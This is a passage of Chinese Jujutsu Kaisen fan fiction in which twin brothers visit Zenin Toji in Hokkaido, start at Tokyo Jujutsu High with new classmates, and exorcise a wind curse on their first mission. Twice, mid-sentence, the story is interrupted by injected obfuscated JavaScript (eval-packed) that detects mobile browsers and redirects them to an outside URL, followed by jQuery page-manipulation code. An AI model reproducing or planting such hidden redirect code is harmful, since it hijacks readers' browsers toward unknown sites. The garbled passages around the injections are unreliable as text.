“所以,你们是情侣?夫妻?结婚了!?” 禅院甚尔咧嘴一笑,眼神不由自主地往旁边飘,弥山觉得自己清楚地从他嘴里听到了炫耀的语气:“马上两个月了。” “什么两个月?”弥山还在问,星海却已经看到了。 “那个孩子,”他说,“起名字了吗?” 小小的、全身咒力流动的中心。 “惠。” 弥山探出头去。他根本什么都没看出来,原来说的是孩子啊,现在已经能看出咒力了吗? 星海看到的不是那个孩子的咒力,而是女人自身咒力的异常流动。她应该不是术师,但身上的咒力略多于一般人。这么看来,当初禅院甚尔想要问的...... “是她?” 他的这双眼睛看不出病症所在,不过既然在一年前就让禅院甚尔走投无路问到他们这里来,肯定不容乐观。 用这样的身体孕育一个孩子,只会更快地让她枯萎。禅院甚尔不可能不知道这一点。 “......她想要。”他一副“我也拿她没办法”的模样。 弥山一眼看穿他不是这么想的。也许让自己看起来轻松一些能更容易接受无法承受的真相?他对此保持怀疑的态度,那只是最无用的伪装,骗不了他人,禅院甚尔什么时候把自尊捡回来了? 选择欺骗自己是弥山最不理解的事。 “你想用反转术式试着给她治病?没听说过有人这么用反转术式,虽然我觉得这个假设可以......”弥山不自觉地说了很多,但是星海拦住了他。 “我知道。”禅院甚尔变得和以前不一样了。 “弥山。”星海拉着弥山的手,从女人身上收回目光。 “......真的假的,你不是不爱管闲事......” 弥山的话说到一半,突然想起他们来到北海道的目的。他虽然没有明确和星海说过,但他觉得对方多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186837|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少应该有所察觉。如果还没发现的话就是星海太笨了! 妈妈。 弥山对妈妈没什么多余的感情,和日照大我、小井一样,只是曾经出现在他记忆里的人。但他知道这个词对星海的意义。明明他们一样被抛弃了,为什么星海会对这个词有这样的感情? 啊,大概是因为大家都会在念出“妈妈”的时候体会到悸动的感觉吧。 可他明明知道,却什么都感觉不到。 “我的术式没办法挽救一只破损的篮子,只能尽可能堵住它的洞。”弥山听到自己这么说道。 稍微、有点羡慕。 禅院甚尔张了张嘴,最后缓缓问道:“能有多久?” 弥山将那个隔着玻璃逗弄小动物的女人纳入视野:“看她还能剩下多少咒力了。” 扭转既定生死的代价是不可能支付得起的,超越寿限的老人、即将病死的病人,弥山没有办法拔出固定“现在”的锚,让他们的过去永远覆盖现在。哪怕他尽情想象,也不会得到允许。所以只能选择尽可能维持术式第一阶段的持续时间,越长越好。 禅院甚尔塞过来一张卡:“这是定金。” 弥山一点也不客气地接了过来:“我需要时间做一个嘱托式的咒符,最快也得几个月。” “成交。” 【代理人】目前只能对一个术式对象使用,塞到咒符里的术式在生效后就可以脱离他的控制,能够维持多久全看术式对象的咒力量。 在咒力彻底用完之前,应该能够从既定的命运中抢走不少时间吧。 弥山的手机里又多了一个联系方式。 往回走的时候他们都很沉默,星海主动拉住了弥山的手。这是他少有的示弱的时候,弥山显然很吃这一套,没过多久就忍不住主动说起他们来到北海道真正的目标。 “当年那个保姆说妈妈离开后来了北海道,后来我又拜托悟帮我们继续找来着,”他甩着手,带着星海跑到街边看地图,“我拜托他悄悄找的,不会有其他人去打扰她。” 最后他们来到了一间事务所。 “......比我想象中的要气派。”弥山抬头,看着至少有六层楼高的办公楼,一层的门厅前写着“真武事务所”,门前车来车往,一层大厅甚至还有专门的前台小姐负责接待。 “然后怎么办?”他回身问星海。走到这里就是他所有的计划,再往后他也不知道该怎么办了。 不是“我们该怎么办”,而是“你想怎么办”。星海知道弥山问的是这个意思。 弥山用眼神示意他:要直接去问问看吗? “不,”星海下意识地拽住了弥山,将他控制在自己身边,“不需要。” 既然当初决定不再回头,那么已经奔向自由的人不该继续被过去束缚。 他们已经是过去的遗物。 “......” 弥山安分地和他一起站在事务所的路边,星海的手握得他有点疼。他下意识地抬起头,看见高层的落地窗前站着一个女人,正拿着手机通话。 他的记性很好,所以一眼就认出她是五条理鸥。不,现在应该叫羽瑠理鸥。 “理鸥小姐,老板那边还在等您的评估报告,下午一点半还有......” 她很忙,刚挂断电话就马不停蹄地拿着报告冲入老板办公室,半个小时后口干舌燥地出来,来不及给自己冲一杯咖啡就得将堆在自己桌子上的工作一一分配下去,午饭肯定是来不及好好吃了,在赶去会议中心的路上用面包和牛奶应付过去就行。 忙碌让她觉得充实。 哪怕被工作压得抬不起头,她也是自由的。 她已经萌生了开一间属于她自己的事务所的想法,等她再积累一些人脉和资金,再物色一个划算一点的地址。 已经,没有什么能够困住她了。 羽瑠理鸥匆匆跑下楼,钻进提前叫好的出租车后,迅速和司机确认了目的地。伴随着安全带卡扣扣紧的声音,她似有所感,向车窗外看去。 事务所门前两盆高大盆栽有些疏于打理,植物宽大叶片的边缘有些微微泛黄,花盆里不知道被谁扔了烟头和碎纸。 人来人往,一如往常。 她收回目光,拆开面包和牛奶迅速解决午餐。 弥山和星海侧身站在她看不到的地方,注视着那辆车融入车流,最终消失不见。 “你真的和她很像。”弥山说。 星海转转眼珠,轻声询问:“她长什么样子?” “......”弥山安静了半晌,终于还是说道:“和我差不多,毕竟是母子。头发和眼睛是浅一些的棕色,今天化了妆,口红的颜色很好看。很高,穿着高跟鞋也能跑得很稳。不过看起来没有好好吃饭,在车上吃了面包和牛奶。还有——” “——看起来很开心。” “......是吗。” 他们又在那里站了十分钟,就在弥山准备找个石墩子坐会儿的时候,星海把他拉进怀里。他们很少这样直白地主动拥抱对方,最多的肢体接触是打得你死我活,或者在睡得天昏地暗的时候扭到对方的地盘里去,第二天早上起来又是一场不消停的小冲突。 弥山把手放到星海的头上,他身上烫烫的:“你最近有点太粘人了吧?” 星海的声音从他耳朵后面传来:“我们也像妈妈那样走吧。” 弥山叹了口气:“你怎么还在说这种话......我还以为你都想好之后去哪了,结果还在纠结这种事情吗?” 他嘲笑道:“果然是胆小鬼。” 一时的放肆换来的是腰上的肉被扭转的痛苦。脖子被星海搂着,弥山跑也跑不掉,忍了又忍,最后还是跳起来夹着他的腰翻腾着把人甩飞了出去。 “混蛋星海!!我要和夜蛾老师说换宿舍!!” “哼,随便你。” 他们吵闹着从北海道回了家,要打包的东西并不多,这间公寓也不会被收回,弥山给所有的地方铺上了防尘布。 最后在公寓楼下和小猫们一一道别,弥山带着一身猫毛坐上了前往东京的新干线。夏油杰要上补习班,错过了他们离开的日子。 在车站接他们的夜蛾正道和即将入学东京高专的另外两个孩子。 “咳咳,总之,欢迎你们回到东京。” 夜蛾正道拍拍手,高专一年级新生第一次全员集齐。 41.我们四......五个 弥山和星海在车站见到了自己未来的同学。 一个穿着巫女服的女孩,另外一个男生穿着最普通的帽衫和长裤。夜蛾正道为他们相互做了介绍。女孩叫庵歌姬,男生是辻光士。 庵歌姬第一眼见到那对兄弟的时候就觉得自己的高中生涯要完。三男一女的配置本来就让她有些不适应,如果找不到可靠的学姐或未来的学妹能和她一起吐槽的话她真的会憋死。 提前到校的辻光士有点畏缩,不是能很快熟悉起来的类型。这对兄弟一看就是会腻歪在一起的那种,毕竟是双胞胎,喜欢自说自话已经快要变成刻板印象了。 “你们好,我是庵歌姬。”秉持着最基本的礼仪,她向弥山和星海伸出了手。 “你好哦。”弥山和她握了握手,在她犹豫要不要收回手的时候,星海沉默着握了上去。 “......那以后就多多指教喽。” 比看上去的要更好说话? 弥山看向辻光士,没想到这一眼竟然把他看得扭头躲开了。 “?”他可什么都没干。 似乎意识到自己的失态,辻光士用极小的声音说:“辻光士,请多指教。” 夜蛾正道觉得时间差不多了,准备叫他们跟着辅助监督一起回高专。一车刚好坐下四个人,他还有事,正好在这里和他们分开。 最后庵歌姬坐在副驾驶,辻光士和弥山他们挤在后座。 星海一上车就靠在车窗上闭着眼,一副不太想说话的样子。辻光士看起来有些讨厌肢体接触,把自己缩在角落里。送他们回高专的辅助监督叫今井由光,今年刚刚大学毕业,是个还很年轻的辅助监督。 他在这些孩子们上车之后做了自我介绍,所以弥山直接趴到了驾驶位和副驾之间的空隙间:“今井先生,听说进入高专之后还要登记咒力?” 哇?是个自来熟!?庵歌姬不着痕迹地往旁边让了让。 “是这样的,歌姬和光士已经登记完了。你和星海的宿舍是学校最大的一间,里面是榻榻米。” “哼。” 庵歌姬确定自己听到了一声小小的不满。 “那二年级的人......前辈,他们也在同一栋宿舍楼吗?” 今井由光一一回答他的问题:“是的,教师们的宿舍在旁边那栋。高专有食堂和自动贩卖机,虽然宿舍没有门禁,但还是要按时回来,禁止彻夜不归哦。” 弥山的头往回缩了缩。 “除了出任务,想去市里也可以联系我,如果我有空的话可以送你们一趟。” “这么贴心的吗?” 今井由光笑道:“这是我的工作。当然,以后你们的每次任务也都由我负责协助,今后也要多多指教。” 庵歌姬附和了一声。弥山问了不少她也挺想知道的问题,所以她默默地听着。 “要很频繁的出任务吗?我们有期末考试吗?每次任务都是四个人一起吗?” 好消息是一年级的新生并不需要很频繁地出任务,基本上是由“窗”那边转过来的比较简单的祓除任务,或者是例行巡查,不会涉及到越级的战斗。 咒术高专当然没有期末考试,比较重要的是咒术师的等级评定,这要看平常在任务中的表现以及未来等到申请一级术师的时候能不能得到推荐资格。 所以和学长学姐、同行的高等级术师好好相处也很重要。 “任务的话,一年级基本会都是四个人一起行动。等到了二年级,或者是等你们的咒术师等级评到了二级,就可能会有指名的单独任务。” 弥山满意地退到了后排,抱着双臂不知道在想什么。庵歌姬从后视镜看到他脸上的笑容消失了。不笑的时候看起来倒是一副冷脸帅哥的样子。 东京咒高建立在筵山山麓,有几条不同的道可以上去。今井由光开车走了可以直接开到宿舍楼附近的那条道,庵歌姬来的时候走的是有很多红色鸟居的那条路。 “那我先去和夜蛾老师汇报了。”今井由光打开后备箱,弥山一手一个,把两箱行李拎了下来。 在推着行李进宿舍之前,庵歌姬叫住了他们:“要来交换一下邮件地址吗?” 弥山拿出手机:“还是电话号码吧,有事直接打电话。” 庵歌姬:“也行。” 弥山在她的手机里输入了自己的手机号,庵歌姬正打算递给星海,但被弥山制止了:“我们用一部手机,找我们的话打这个就行。” “诶?好、好吧。”果然双胞胎还是有点奇怪的。 他们同时看向自从上车之后就再也没说过话的辻光士。 “......” 沉默的时间有点长,弥山觉得这是拒绝的意思。他收起手机,将其中一个箱子踢给星海,自己推着另一箱往宿舍楼里走。 星海没说话,跟在他后面离开了。 宿舍楼前就剩下了有点不知所措的庵歌姬和不知为何就是不说话的辻光士。 “那......我们明天见?” 最后庵歌姬也受不了这种氛围,迅速离开了。 女生宿舍和男生宿舍在同一栋宿舍楼,但是在不同的楼层。澡堂在一层,两侧各一个,食堂在宿舍后面,离得很近。 弥山和星海的宿舍很贴心地铺了榻榻米,也许有五条悟提前和夜蛾正道商量过的原因在,一切都很符合他们的习惯。将行李收拾得差不多,今井由光打电话来叫他们去登记咒力。 下楼的时候遇到了准备出门吃食堂但是食堂今天没开火的庵歌姬。 “不如你们一起出去吃吧?刚好我之后没有其他事,能把你们送到市里。”从夜蛾正道办公室出来的今井由光提议道。 如果庵歌姬拒绝的话,她今晚就只能用自动贩卖机里的红豆面包充饥,自然飞快地同意了。弥山和星海打消了自己进食堂做饭的想法,默认了与庵歌姬同行。 “啊,”今井由光体贴道,“我去叫光士吧。那孩子初中的时候过得不太好,可能需要一些时间适应,多给他一点时间吧。” 只有庵歌姬在乖乖答应。 她没有再穿那套巫女服,而是换了一套宽松舒适的运动服。高专统一的制服还没有发到他们手上,她发现其他人穿得都很随意,所以换掉了那套在家里常穿的巫女服。 今井由光带来了辻光士,载着他们去了市里。 弥山跳下车之后就准备拉着星海去看好的寿司店,但是被今井由光拦了下来。 “以后你们四个就要一起出任务了,尽早熟悉起来比较好。” 庵歌姬的确想要尽快和他们熟悉起来,至少稍微了解一下术式或者身体素质之类的,毕竟她的术式并不偏向战斗。如果出任务,她还是多了解一下同伴才能更好地配合。 弥山想说其实没那个必要。术式的话,星海看一眼就知道了。而且既然都决定来上咒高,总不能还有人在咒术上摆烂吧。他理所当然地忽略了星海。 但是星海没有反对的意思,所以他也就没说什么。 最终他们去吃了名叫来来轩的怀旧派中华拉面。酱油汤底搭配上中华特色叉烧,最大程度地保留了大正时代的复古风味。弥山觉得比其他口味的拉面咸了一点,至于复古还是怀旧,他的确吃不出来什么区别。 比起一起吃东西,让咒术师们(未来的)更快熟悉起来的方法其实还是祓除咒灵和战斗。 与茨城相比,繁华又忙碌的东京诅咒数量激增,几乎每走两步就能看见趴在行人肩膀上的蝇头,又或者是生长在垃圾堆里的低级咒灵。这种等级的咒灵只会让人觉得疲惫和不舒服,体质好一些的甚至一无所知,因此放着不管也没关系。 弥山和星海已经干脆地忽视了这些无处不在的东西,庵歌姬受家里人影响也没有多想,令他们感到意外的是突然出手的辻光士。 这个看起来非常沉默的少年不厌其烦地单纯用咒力输出祓除所有见到的蝇头,在这个过程中不可避免地要和行人发生碰撞和接触。 弥山感觉到了一丝令人不喜的违和感,但是想不明白为什么。这是他第一次在见到题目后没能得出答案,他从未遇到过辻光士这样的范本。 他慢慢在原地站定,眯起眼睛。星海从后面赶上,推着他的腰往前走。 “为......”弥山刚想开口,感觉到星海把手放到了他的后脖颈上,稍微用力压了一下,所以抿着嘴将话吞了回去。 辻光士的咒力操作非常粗糙,有很严重的浪费咒力的行为。弥山听到有人被他控制不住外泄的咒力碰到时说了一句:“好烫!” 辻光士的行为已经开始逐渐引起普通人的注意。 庵歌姬看其他人都没说话,所以她也闭上了嘴。看来辻光士是那种会严格遵守规定的人,完全将咒术界宣扬的保护非术师的理论彻底地践行了。 好在他们停车的地方离来来轩并不远,可饶是如此辻光士的咒力消耗也十分恐怖,等到坐上车的时候几乎立刻靠着车窗闭上了眼睛。 在星海看来,辻光士最后几乎是一直向外泼洒着咒力,完全谈不上操作,甚至连控制都很难说。厌恶咒灵?还是说......又一个夏油杰? 莫名其妙的家伙,弥山心想。 正式开始上课前的最后两天,食堂可喜可贺地正常供应餐食,弥山和星海没有再离开高专,白天就在成片的森林里乱逛,或者研究那些寺社佛阁的虚像。高专对外宣称是宗教学校,建立在远郊,如果从远处看的话能够看见群山之间的无数宗教建筑。 是为了隐藏薨星宫净界入口而设立的无数虚像。 “也就是说天元大人就在我们脚底下喽。” 理论上讲,正是如此。 “果然结界术很难理解啊。”弥山最苦手的就是有关结界术的内容。对结界术而言,最重要的就是“具体的印象”,在构筑结界的过程中弥山的思维很容易飞到很远的地方,想要固定一个非常具体、切实可行的印象就会显得极为困难。 不过需要声明一点:他只是不擅长而已。 星海还在适应高专里过于浓郁的残秽。这里毕竟是培养咒术师的地方,不说一到四年级的学生们,很多从高专毕业的咒术师也会以高专作为基地进行活动,从这里接取委托,获得报酬。 总之,他正在试图让自己的双眼学会忽视那些还未消散的咒力信息。 等到他们从森林里转悠出来的时候,正巧遇到了拎着行李箱回来的二年级前辈。 “新生?你们俩是双胞胎?哇,咒术双子很少见诶!”看上去身材很好的学长主动向他们伸出手:“我是物部式,以后就多指教喽。” 物部这个姓氏......弥山记得应该也是咒术世家,只不过不太有名。他握了上去。 物部式这一届只有他一个新生,所以他很寂寞地度过了孤独的一年级。虽然因为只有一个人所以经常跟着前辈们出任务,也能得到已经毕业的高级术师们的“锤炼”,但是......他非常想要有后辈啊!! 他们家尽管也算是咒术世家,但相传术式却很抽象。用一句话解释,就是结界术强化。在天元大人的结界笼罩范围内,他想不到这个术式能够有什么作用,毕竟天元大人的力量让国内所有结界术都得到了强化。物部家的相传术式可做不到1+1=2这种强化叠加,所以物部式给自己定下的强化方向是咒具的使用。 术式没什么用,但咒力还是有的,恰好他的身体素质还算不错,往咒具使方向发展的话,未来至少不愁没有工作。他们家就他一根独苗,而他已经决定向狗卷家学习,下一辈就让他们彻底离开咒术界。 今年的新生看上去是挺听话的类型,等到开学后就应该是他带着他们做任务了吧?想想就觉得开心! 弥山看着物部式哼着歌进了宿舍楼,听他说“以后有咒具相关的问题可以来问我”的时候突然想起来了什么:“高专是不是也有‘忌库’来着?” 在五条家的时候他曾经想进家里的那个地方看看,但是就连五条悟也没办法帮他搞到许可。 “应该跟薨星宫在一块吧。”高专的忌库里肯定保存了不少特级咒物或者特级咒具,当御三家的博弈谁也占不到便宜的时候,塞进高专就能免去无休止的明争暗斗。 “太可惜了。”弥山很快把这件事忘到了脑后。 新学期的第一天,他们在宿舍楼下碰到了庵歌姬,索性就一起到教学楼去。她的高专制服经过了特殊的裁剪,虽然大体上还是原来的模样,但裙子的下摆加长了一些。 高专的教室比弥山想象的还要老,看起来像是上个世纪建成的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192416|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铺的还是木地板,但没有换室内鞋的要求。教室里摆了四套桌椅,黑板的四个角落泛着白色,像是被人反复用粉笔书写又擦掉,因为次数太多而变了颜色。 “对了,”他们是第一批到教室的,夜蛾正道和辻光士还没来,庵歌姬取出手机翻出一条短讯,“二年级的物部学长说晚上准备给我们开一个欢迎会。” “他一个人?”就算想要营造热烈欢迎的氛围都很困难吧。 “......那个人的确有点热情的过分了。”庵歌姬甚至觉得物部式一个人真的有可能把气氛炒热。 “可能是受不了上了一个学期的单独教学吧,”弥山试图分析,“只有一个人诶。” 庵歌姬觉得他的确有点可怜,再加上又是个那么热情的性子,很难想象这样的人是怎么度过孤独的一年级生活的。 辻光士是卡着点来的,庵歌姬和他说晚上的欢迎会时,他似乎已经知道了的样子。看上去物部式昨天把所有人都找了一遍。 咒术高专的课程没有教科书之类的东西,不过夜蛾正道还是秉持着教师的专业素养准备了完备的教案。每天的课程基本上都是半天室内教学加半天室外训练,包括身体素质、咒具使用之类的。 “老师,”弥山举手,“为什么不让在学校内用术式啊?练习也不行吗?” “未经申报不可使用,这是校规,必须好好遵守。你们在出任务的期间会有锻炼术式的机会,现在好好学习咒力操作才是最重要的。” 术式的力量应该面向咒灵,而非自己的同伴。 从古至今已经有过很多惨痛的教训,咒术师之间在比试的时候打上头,最后居然和对手同归于尽了的情况也不是没有。对于他们这个年纪的学生来说,好好锻炼咒力操作,打好基础,对术式的掌控自然而然就会进步,在完成任务的时候检验成果就好。 弥山放下了手。 “话是这么说,但是根本没有人会遵守。”物部式和他们说。 “......现在才下午1点,你准备现在就给我们开欢迎会吗,物部前辈?” “因为一个人太无聊了,三年级的前辈又没时间陪我练习,我只好来找你们。” 高专居然有一个带着跑道的操场,体能与体术训练基本都在这里进行。 看到星海一直盯着操场后面的仓库,物部式解释道:“那里是存放咒具的地方,有需要的话可以去申请。基本上都是一些二三级的咒具,比不上忌库里的那些啦。” 他挥舞着一根训练用的木刀,敲了敲自己的肩膀,唤回星海的注意力:“好了,我们继续吧!” 星海两手空空,将脸转了回来,直面手持木刀的物部式。 其他人坐在操场旁的石阶上休息。他们刚刚都从物部式的手上或长或短地撑过了一段时间,今天下午训练的唯一目标就是尽可能地躲避物部式的进攻。 弥山看着星海挨打,然后毫不留情地笑了出来。 “哇,你们俩真的一点都不一样。”庵歌姬发出一声感叹。 弥山似乎第一次听到有人这样评价他们:“为什么这么说?” “......你真的想听吗?” “说说嘛。” 庵歌姬的视线在星海和弥山之间来回滑动,最后掰着手指头数道:“首先就是眼睛,除了这一点你们还是长得很像的。我从来没见他笑过,而且话很少。好像很喜欢发呆,干什么都慢吞吞的。” 弥山听完笑得更开心了:“因为星海是个大懒鬼啊!” 庵歌姬握拳:“明明是个大帅哥,多给我笑笑啊!” 他们异口同声地说完,弥山的脸僵住了。 他颤颤巍巍地伸出一只手,捂住了颤抖的嘴角:“你、你刚才.......说他是......帅、帅哥!?” “什么?诶?怎么了!?你、你也是啊!!”庵歌姬连忙找补,还不忘带上正在喝水的辻光士:“光士也是啊!!!” 辻光士喷出一口水,猛烈地咳嗽着。 不知道为什么,直到星海脸色臭臭的跟着物部式向他们这边走过来的时候,弥山都保持着一种双眼放光、超级开心的表情待在庵歌姬身边,她几乎都要看到从他眼睛里蹦出来的星星了。 不是,为什么!?原来是只要夸一夸就会得意忘形的类型吗!!? 弥山保持着那个表情飘到了星海身边,他也不说话,就围着星海转悠来转悠去,最终被星海忍无可忍地在脑袋上砸出一个包,兄弟俩又在操场上大战一场,还是物部式一手一个将他们从对方身上撕下来的。 “真是奇怪的兄弟......” 庵歌姬捏了捏自己的手臂,觉得从明天开始她需要找前辈们问问该怎么增强一下身体素质。 她是一年级中体术最差的一个。 出乎她意料的是,辻光士回答了她的话:“他们关系真好。” 虽然声音还是小小的,但至少庵歌姬听到了。 她想起夜蛾正道找她单独谈话时说的事情。弥山的术式和她非常相似,所以整个一年级的主要战斗力集中在星海和辻光士身上。如果遇到了需要分开行动的时候,双胞胎一定会选择对方,那么庵歌姬就需要和辻光士搭档。 看来事情没有她想象得那么难,似乎摸清楚了那对兄弟不得了的“弱点”,又成功和同学中最难以沟通的一个完成了一次“对话”,庵歌姬现在就想高歌一曲,庆祝自己即将到来的美好而光明的未来。 “我们去唱卡拉OK吧!” 三个人同时望向她,这时她才意识到自己居然跳起来喊出了那句话。 结果已经能够想象的到了。 庵歌姬和物部式为了歌王的称号拿着话筒在点歌台前争得你死我活,偶尔还有弥山在旁边捣乱。这家伙几乎会唱最近几年所有的电视剧主题曲,这种歌曲储备量让庵歌姬甘拜下风。 就是唱得勉强能听罢了。 星海和辻光士没怎么参与,他们中途出去了一趟,不知道他们两个是怎么做到一句话不说但行动默契地带回了晚饭,又一个一个把唱嗨的三个人从台上扯下来吃饭的。 独自带着纸礼花等在布置好的欢迎会教室的夜蛾正道看了一眼时间,又看了眼空荡荡的手机收信箱,开始庆幸自己没买蛋糕。 42.断鸿 辻光士的术式【炽盛光】可以给任意物体附加“热”的概念。靠近他的人经常会说他身上很烫,那是他无法自控的咒力流溢时造成的状态。 在被“窗”发现之前,他觉得这个能力是一种诅咒,所有人都会因为那些热量而远离他。渐渐离群的过程中,他学会了使用咒力。 “窗”的人找到了他,为他办理了去东京上学的手续。未来的班主任也亲自到他家和父母完成了商谈,下个学期他将以一年级新生的的身份入学东京都立咒术高等专门学校。 “随便他。”母亲是这么说的。 辻光士觉得,自己会得到这样的评价完全是自找的。在他刚刚发现藏在普通世界暗处的咒术世界时,他犯下了一个错误。为了向父母证明自己的特殊,他烧掉了半个家。 那是他第一次察觉到自己的术式会失去控制。 父母似乎认为是他偷偷玩火才点着了易燃物,让本就不富裕的家庭雪上加霜,不得不背上巨额贷款,一家三口挤在狭小的出租屋内重新开始。 他是特殊的。他是残缺的。他的人生因为咒术而变得“不完整”。 没有人会喜欢一个拒绝合群的存在,所以被冷落也是应该的。明明他是为了不伤害到他们,明明是他为了他们杀死了那些怪物,却从没有人对他说过一声“谢谢”。 后来事情发展到了另一个极端,是随处可见的恶。他开始觉得自己的内心有一个怪物,他必须很小心地压制它,才能避免他的热量灼伤那些伤害他的人。 夜蛾正道早就看过辻光士的档案。和其他所有没有出生在咒术世家却觉醒了咒术天赋的孩子一样,辻光士的过去简直生活在地狱当中。能够使用咒力,却无法妥善地处置这种与众不同的能力,甚至为了避免伤害到他人选择忍受伤害。 他的内心应该是一个相当善良的孩子。 咒术高专的存在就是为了避免这些孩子误入歧途,在适合的时候帮助他们适应自己的力量,而不是被自己的力量蒙蔽吞噬,成为伤害他人的诅咒师。夜蛾正道托今井由光多关注一下辻光士,让他可以尽快放下对自己力量的恐惧。 今井由光的关照颇有成效,辻光士正在解除周身由自己竖起的高墙,试着将手伸出去。 今天是这些孩子们第一次出任务,身为班主任的夜蛾正道自然亲自跟了过去。祓除的对象是一只二级咒灵,已经入学一个月的四个人对彼此已经有了相当的了解,这是他们入学以来难得的被允许使用术式的机会。 庵歌姬的术式【单独禁区】可以对术式范围内包括术师本人在内的任意术师的咒力总量、输出进行临时增幅,她此时站在咒灵活动范围内附近的楼顶,和弥山待在一起。 “我们不下去真的好吗?”庵歌姬一手抱着头,怀里夹着夜蛾正道的咒骸,眯起眼睛抵抗异常的大风。 “这家伙已经有准一级了啊,‘窗’为什么说是二级?”弥山看着天空中开始聚拢的乌云,云层内部偶尔有微弱的苍白电流闪过。 “呜哇——!”风力在不断加强,庵歌姬有点抵抗不住了。 “歌姬就算下去也没用吧?你的术式范围太小了,会被卷进去的。”弥山拉了她一把,说话的时候还看向地面上的另外两个人。 这只咒灵的本体非常小,几乎和人形差不多。但是周围肆虐的狂风却宣告了它极度危险,在被“帐”激怒之后,风力就一直在不断地加大。 “......” 辻光士必须用全身的力量抵抗这些风才能保持平衡,星海站在他身边,虽然头发被吹得乱飞,可至少看起来站得很稳。 根本没有办法接近那个咒灵,他们没办法穿越围绕在它身边的风墙,进入无风的风眼地带。 【炽盛光】没有办法进行远程输出,辻光士需要用双手触碰才能为物体附加“热”。 星海看了他一眼,“帐”中的这片区域的天空已经彻底被乌云笼罩,似乎这个咒灵的咒术还有下一阶段。弥山他们还在楼顶,辻光士的术式应该能够点燃这些风,可惜他应该一时半会儿做不到扩张术式对象。星海又不想让弥山的术式暴露太多,索性压着他一直遵守校规。 希望没他看着的这段时间弥山没有违背他们的约定。 “我觉得我们站着的地方稍微有些危险。”弥山扯着双脚离地的庵歌姬说道。 “飞、飞起来了啊啊啊啊啊——” 庵歌姬的大叫声被卷入旋风的漩涡中,没能传到楼下两人的耳朵里。 弥山有些手痒痒,这一个月星海盯得很紧,他根本没有机会使用术式。 他一手拉着庵歌姬,一手握着天台的栏杆,收回了蠢蠢欲动的视线。 星海在干什么啊?赶快解决掉这个家伙,再等下去他就要忍不住了。 “算了,”星海突然说,“你往后退,退到‘帐’边上去。” 辻光士不解:“你要干什么?” 星海没有选择靠近那个咒灵,他横向沿着平行于咒灵的方向移动着,控制着他本人到两侧“帐”的距离。 “你站在这会被卷进去的。” 辻光士半信半疑地按他说的向后方退去。反正还有夜蛾老师的咒骸在,他们不会出事的。 星海从来没有和任何人说起过他的术式,反倒是在一次聚餐的时候说起了他的那双眼睛。辻光士第一次听说“六眼”的名号,庵歌姬显然对御三家的事情比较了解,不过看她的表情,星海的这双眼睛似乎非常的不可思议。 当他说他除了咒力其他几乎什么都看不到的时候,他们纷纷瞪大了眼睛。因为不论是日常行动还是体术练习,他们从未察觉到目不能视对星海造成的影响。 物部式说:“我第一次和他对练的时候就发现了,不然这小子肯定不会主动说吧?” 一些应该发生的、下意识的眼神追随却没有发生,哪怕星海的体术是一年级最强的那一个,物部式也还是凭借咒具使的直觉发现了端倪。 他们聊天的时候,弥山趴在星海的手边。庵歌姬很少见到他这么安静。星海在庵歌姬害怕他们打起来的眼神中抬手搓着弥山的头发。 “既然已经被看出来了,那就没有必要继续隐瞒。”星海说。 至于他们、六眼和五条家的关系,庵歌姬与物部式虽然好奇,但也明白那不会是什么好故事。辻光士完全没有概念,所以没有任何联想。 他看着那块被吞掉的空间时恍然理解了今井由光和他说的话。自己并不是最特殊的那一个,这里的每一个人都是“同伴”。 以星海为中心,半径二十米内的空间里只剩正在下落的碎石木屑,咒灵的身影已经消失得无影无踪。 因为控制着没有消除双脚接触的地面,星海不用费力从坑底爬上来。 弥山和心有余悸的庵歌姬从楼顶下来之后,她有些迟钝地问:“这就结束了?” 逐渐消失的“帐”回答了她的问题。夜蛾正道解除了“帐”,只有咒灵被祓除之后“帐”才会解开。 “......没什么实感诶。”庵歌姬将抱着咒骸交还给夜蛾正道,眼前的区域只留下了好似台风过境后的满地狼藉,到处都是被吹飞的枝条、树叶和被毁坏的建筑材料。 今井由光正在打电话,似乎和电话那边的人吵起来了。 夜蛾正道也是第一次亲眼目睹【仳】的威力。在术式生效范围之内,由咒力构成的咒灵在霎那间灰飞烟灭,连一点残余都没有留下。除非庵歌姬的术式范围能够大过【仳】,不然她没有办法给星海进行增幅。 正如他自己所说,离他太近是会被一起卷进去的。 “这次是‘窗’的评估出现了问题,本来不该让你们在这个时候面对准一级咒灵,”夜蛾正道看了一眼正在和“窗”据理力争的今井由光,“不过你们做得很好。” 辻光士攥紧了拳头。 他终于见到了比他还强的怪物。 消息灵通的物部式在他们回到学校之后第一时间找了过来,并为自己错过了他们第一次任务捶胸顿足。 “就算前辈你去了也没什么用啊!”庵歌姬大声说。 “这种时候就应该有前辈陪在你们身边啊!”物部式反驳道。 弥山和星海早就走远了,留下那两个吵吵闹闹的人在原地争执。 不过那次任务之后变化最大的居然是辻光士。他开始变得稍微活泛了一些,会主动和庵歌姬他们搭话,尤其执着于让星海回答他的问题。 星海还是原来那副不冷不热的态度,但是逐渐放宽了对弥山的控制,允许他偶尔用用术式,毕竟偷偷在学校里用术式也不会有任何惩罚。天元大人肯定知道他们违背了规定,但祂又不能为此特地跑出来把他俩请到办公室喝茶,所以一年级的新生们胆子越来越大。 夏天是诅咒频发的季节,连他们一年级都开始频繁地离开高专帮着执行任务。 